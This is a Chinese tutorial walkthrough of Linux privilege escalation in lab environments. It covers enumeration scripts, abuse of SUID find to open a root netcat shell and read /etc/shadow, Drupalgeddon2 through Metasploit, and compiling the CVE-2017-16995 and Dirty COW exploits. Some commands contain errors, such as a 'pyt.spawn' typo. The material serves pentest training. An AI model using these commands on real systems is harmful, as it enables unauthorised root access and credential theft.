63:權限提升-Linux臟牛內核漏洞&SUID&信息收集


思維導圖

本課重點

  • 案例1:linux提權自動化腳本利用-4個腳本
  • 案例2:linux提權suid配合腳本演示-Aliyun
  • 案例3:linux提權本地配合內核漏洞演示-Mozhe-本地提權
  • 案例4:linux提權臟牛內核漏洞演示-Vulnhub,Aliyun

案例1:linux提權自動化腳本利用-4個腳本

兩個信息收集:LinEnum,linuxprivchecker
兩個漏洞探針:linux-exploit-suggester,linux-exploit-suggester2

信息收集/漏洞探針主要關注點:SUID,定時任務,可能漏洞,第三方服務應用等

1、LinEnum——Linux枚舉及權限提升檢查工具

用法

腳本先上傳到目標服務器/tmp目錄下(/tmp目錄是臨時目錄,一般是可讀寫可執行的)
cd /tmp
chmod +x LinEnum.sh
./LinEnum.sh

主要檢測以下幾個大類的信息

  • 內核和發行版發布詳情
  • 系統信息
  • 用戶信息
  • 特權訪問
  • 環境
  • 作業/任務
  • 服務
  • 一些web服務的版本信息
  • 默認/弱憑證
  • 搜索
  • 平台/軟件特定測試

參考:https://github.com/rebootuser/LinEnum

2、Linuxprivchecker——Linux 權限提升檢查腳本

用法:python linuxprivchecker.py

參考:https://github.com/sleventyeleven/linuxprivchecker

3、linux-exploit-suggester——Linux 提權審計工具

用法

腳本先上傳到目標服務器/tmp目錄下
cd /tmp
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

會檢測到當前系統可能存在的漏洞,返回信息比較多,存在誤報

參考:https://github.com/mzet-/linux-exploit-suggester

4、linux-exploit-suggester-2

用法:perl linux-exploit-suggester-2.pl

返回信息相對精簡,誤報幾率相對少

參考:https://github.com/jondonas/linux-exploit-suggester-2

案例2:linux提權suid配合腳本演示-Aliyun

漏洞成因:chmod u+s給與了suid、chmod u-s刪除了suid

本來是普通用戶執行普通程序,但是一旦給了程序suid權限,程序在運行中就會以root 權限執行,從而提升權限。

舉例:test.sh原來的權限是-rwxr-xr-x,當執行chmod u+s test.sh命令后,它的權限就會變成-rwsr-xr-x。此時,即使你用普通用戶身份運行test.sh文件,實際上它卻是以root權限運行的。

提權過程:探針是否有SUID(手工或腳本)-特定SUID利用-利用成功-GG

參考:https://pentestlab.blog/2017/09/25/suid-executables/

SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那么我們運行該文件的時候就得獲得root用戶的身份了。

已知的可用來提權的程序如下:

  1. nmap
  2. vim
  3. find
  4. bash
  5. more
  6. less
  7. nano
  8. cp

<1>使用冰蠍,添加后門。msf+冰蠍配合反彈shell

  • 冰蠍下載:https://github.com/rebeyond/Behinder/releases

<2>反彈成功,取得一個web權限

<3>探針是否有SUID(手工或腳本)。兩種方法:腳本或者手工。

方法1:腳本。上傳LinEnum.sh文件並執行,發現了一些suid文件,並從中找到了可以用於提權的find。由於find被配置為使用 SUID 權限運行,那么所有通過 find 執行的命令都將以 root 身份執行。

方法2:手工。有3條命令

#以下命令將嘗試查找具有root權限的SUID的文件,不同系統適用於不同的命令,一個一個試
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

<4>執行以下命令,確認以root身份運行。即 當我們使用 find pentestlab -exec <命令> \;  的形式運行命令時,使用的是root身份。

touch pentestlab
find pentestlab -exec whoami \;

<5>接下來,執行以下命令,以root身份反彈shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

然后本地連接端口,就會接收到反彈root shell,提權成功。

netcat 192.168.1.189 5555
id
cat /etc/shadow

案例3:linux提權本地配合內核漏洞演示-Mozhe-本地提權

提權過程:連接-獲取可利用漏洞-下載並上傳exp-編譯exp-給權限執行-GG

<1>這里使用的演示環境為墨者學院的Ubuntu 16.04漏洞復現(CVE-2017-16995)演示環境。

連接上去之后,id查看hack用戶的uid為1001,屬於普通用戶。

<2>上傳漏洞探針linux-exploit-suggester2並執行,發現了4個可能被利用的漏洞。

<3>嘗試利用漏洞CVE-2017-16995。

打開https://www.exploit-db.com/exploits/45010可以查看漏洞利用詳情。

下載exp:https://github.com/Jewel591/Privilege-Escalation

上傳 45010.c 到目標機器上進行編譯,提權成功。

gcc 45010.c -o 45010
chmod +x 45010
./45010
id

案例4:linux提權臟牛內核漏洞演示-Vulnhub,Aliyun

內核提權整個過程:vulnhub靶機-探針目標-CMS漏洞利用-腳本探針提權漏洞-利用內核提權-GG

內核漏洞提權過程:尋可用-下載exp-上傳exp到/tmp-編譯exp-執行(無權限用chmod)

<1>下載vulnhub靶機並在本地安裝,安裝后發現無密碼沒法登錄。

  • 下載地址:https://www.vulnhub.com/entry/lampiao-1,249/


<2>探針目標

打開kali,ifconfig找到自己的IP為192.168.76.132。

掃描同網段的IP地址,掃描出來一個80端口

nmap 192.168.76.0/24

打開看一下,感覺可能有問題

然后對80端口所在的192.168.76.141目標IP進行全端口掃描,又掃描出來一個1898端口。

nmap -p1-65535 192.168.76.141

打開看一下,發現是一個web入口。

拉到頁面最下方,發現一行字:Powered by Drupal

<3>CMS漏洞利用

打開msf,搜索Drupal,發現了一些漏洞利用。找一個腳本,嘗試利用一下

search drupal
use exploit/unix/webapp/drupalgeddon2
set lhost 192.168.76.141
set lport 1898
exploit

成功拿到web權限

<4>腳本探針提權漏洞+利用內核提權

上傳一個漏洞探針腳本linux-exploit-suggester

執行腳本 探針一下,檢測出一個臟牛漏洞。

可以直接下載相關exp(缺點是下載后文件名字就是40611,需要手動修改后綴進行后續的執行)

這里我們從GitHub上下載一個exp,上傳exp到目標服務器,編譯,執行,成功修改root密碼。

//exp下載地址:https://github.com/gbonacini/CVE-2016-5195

upload /tmp/40837.cpp /tmp/40837.cpp
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
python -c 'import pty;pyt.spawn("/bin/bash")'
./dcow

接下來就可以輸入用戶名密碼登錄,拿到flag。

<4>嘗試在阿里雲上利用臟牛漏洞exp提權,失敗。(原因應該是內核版本已升級)

其他相關優秀資源:權限提升-linux提權手法總結.pdf(黑白天實驗室總結)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM